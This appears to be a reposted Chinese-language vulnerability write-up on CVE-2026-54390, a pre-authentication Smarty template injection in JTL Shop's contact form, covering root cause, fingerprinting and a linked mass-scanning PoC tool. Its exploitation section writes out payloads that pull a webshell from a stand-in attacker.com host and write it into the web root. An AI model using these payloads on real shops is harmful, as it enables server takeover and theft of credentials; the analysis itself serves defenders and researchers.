文章总结: CVE-2026-54390是JTLShop5.2.0至5.7.1版本中的严重SSTI漏洞(CVSS9.8)。攻击者可通过联系表单注入Smarty模板语法,利用未过滤的输入触发远程代码执行,实现服务器完全控制。5.4.0+版本因注册危险修饰符(如filegetcontents)导致风险更高。建议立即升级至5.5.4/5.6.2/5.7.2修复版本。 综合评分: 81 文章分类: 漏洞分析,漏洞POC,红队,WEB安全
CVE-2026-54390-JTL-Shop-Smarty-SSTI-远程代码执行
md-bot md-bot
Sec打更人
2026年7月10日 19:51 广东
在小说阅读器读本章
去阅读
CVE-2026-54390 漏洞分析报告
CVE编号:CVE-2026-54390
标题:CVE-2026-54390-JTL-Shop-Smarty-SSTI-远程代码执行
创建时间:2026-07-10T18:56:55.741142+08:00
漏洞描述
该漏洞是一个位于JTL Shop 5.2.0至5.7.1版本的服务器端模板注入(SSTI)漏洞。漏洞的成因是JTL Shop在处理联系表单的“邮件主题”字段时,未对用户输入进行充分的安全过滤。具体流程如下: 1.输入点:攻击者在联系表单的任意文本字段(如姓名、消息内容)中注入恶意的Smarty模板语法,例如 {$smarty.server.HTTP_HOST} 或 {{7*7}}。输入的payload会被传递给 SmartyRenderer::renderTemplate() 方法。 2.安全缺陷:虽然系统使用了 filterXSS() 函数来过滤XSS攻击(主要是HTML标签),但这个函数并未对Smarty模板标记 {…} 或 {{…}} 进行任何过滤。因此,恶意模板语法被保留。 3.注入点:这些含有恶意模板语法的用户输入,通过 parseSubject() 方法被替换到邮件主题中。之后,主题内容被传递给Smarty模板引擎的 fetch(‘string:’ . $subject) 函数进行渲染。 4.触发执行:Smarty引擎将 $subject 解析为模板并执行其中的所有模板代码,包括攻击者注入的代码。影响:此漏洞在5.2.0至5.3.x版本中,攻击者可以利用Smarty的内置功能读取服务器上的敏感文件。在5.4.0至5.7.1版本中,情况更为严重。相关版本注册了危险的Smarty修饰符(modifier),如 unserialize 和 file_get_contents。攻击者可以利用 file_get_contents 从远程服务器下载文件内容,并结合 file_put_contents(通过PHP代码执行)或直接使用Smarty的写文件功能(如果存在),将恶意内容(例如Webshell)写入到Web目录,从而获得远程代码执行(RCE)能力。
CVE-2026-54390-JTL-Shop-Smarty-SSTI-远程代码执行
漏洞类型:服务器端模板注入 (SSTI) 结合不安全修饰符 (Unsafe Smarty Modifiers)影响应用:JTL Shop危害等级:严重(CVSS 9.8),未经身份验证的攻击者可实现远程代码执行,完全控制服务器,窃取敏感信息(如数据库凭据、加密密钥),并植入后门。影响版本:5.2.0 <= 受影响版本 <= 5.7.1 (5.5.4, 5.6.2, 5.7.2 已修复)利用条件:目标运行JTL Shop 5.2.0至5.7.1版本,且启用了联系表单功能(默认开启)。攻击无需用户交互,无需特定权限。POC 可用性:是投毒风险:10%项目地址:shinthink/CVE-2026-54390漏洞详情:NVD数据库
详情
该漏洞是一个位于JTL Shop 5.2.0至5.7.1版本的服务器端模板注入(SSTI)漏洞。漏洞的成因是JTL Shop在处理联系表单的“邮件主题”字段时,未对用户输入进行充分的安全过滤。具体流程如下:
漏洞利用
攻击流程和漏洞利用方式如下:
- **漏洞利用方式**:
– **版本检测**:攻击者首先访问目标网站的根路径(/),检查页面HTML、JavaScript或CSS中是否包含“JTL”等厂商特征。同时可以尝试访问 /jtl.php 或 /includes/jtl\_object.php 等JTL特定的路径来确认应用类型。
– **版本信息收集**:通过分析页面源代码中的元标签(如 <meta name="generator"...>)或特定JS变量,提取JTL Shop的精确版本号,以确认是否在受影响范围内。
– **表单发现**:扫描 /Kontakt、/contact 等常见联系表单路径,确认表单存在,并提取表单提交的 action URL和CSRF token(如 jtl\_token)。
– **Payload利用**:
– **漏洞探测(盲测)**:使用 {7\*7} 作为payload。如果服务器配置了日志或邮件监控,响应内容(如邮件主题)中会显示计算结果“49”。
– **远程代码执行(高危利用)**:针对5.4.0至5.7.1版本,使用 {{file\_get\_contents('http://attacker.com/shell.txt')|cat:''}} 等payload,通过 file\_get\_contents 修饰符从攻击者控制的服务器读取Webshell代码。如果Smarty环境支持,可以进一步利用 {{file\_put\_contents('/var/www/html/shell.php', file\_get\_contents('http://attacker.com/shell.txt'))}} 等方式写入恶意文件。
- **攻击流程**:
– 攻击者使用提供的POC脚本,输入目标URL列表进行批量扫描。
– 脚本自动检测JTL Shop及其版本。
– 脚本自动寻找联系表单并提取必要参数(表单action、CSRF Token)。
– 脚本向联系表单提交一个请求,将恶意payload填入某个字段(如姓名、消息等)。
– 服务器处理请求时,Smarty引擎解析了被注入的payload,执行了读取远程内容或写入文件的代码。
– 攻击者访问写入的Webshell(或通过其他方式),实现对服务器的完全控制。
- **POC说明**:提供的Python脚本(
cve\_2026\_54390.py)是一个完整的自动化扫描与利用工具。
– **功能模块**:
– detect(): 通过多种方法识别目标是否为JTL Shop并提取版本。
– find\_contact\_form(): 自动定位联系表单,提取action URL和CSRF Token。
– exploit(): 提交包含恶意Smarty模板语法的表单,触发SSTI。
– **工作模式**:支持单目标检测和基于线程池的批量扫描。
– **Payload**:脚本内置了用于检测的 {7\*7} payload,以及用于文件读取和回连的 payload。攻击者可以轻松替换或添加用于执行RCE的payload。
– **使用方式**:可以通过命令行参数(如 --target 或 --file 指定目标文件)运行。
– **输出**:清晰显示每个目标的检测状态(vulnerable, patched, no\_form 等)。
修复建议
暂无详细修复建议,请及时关注官方补丁和安全公告。
相关仓库
1. shinthink/CVE-2026-54390
URL:https://github.com/shinthink/CVE-2026-54390
描述:CVE-2026-54390 — JTL Shop Smarty SSTI RCE | Pre-Auth Template Injection via fetch(‘string:’ . ) | 5.2.0-5.7.1
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Sec打更人 md-bot md-bot《CVE-2026-54390-JTL-Shop-Smarty-SSTI-远程代码执行》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论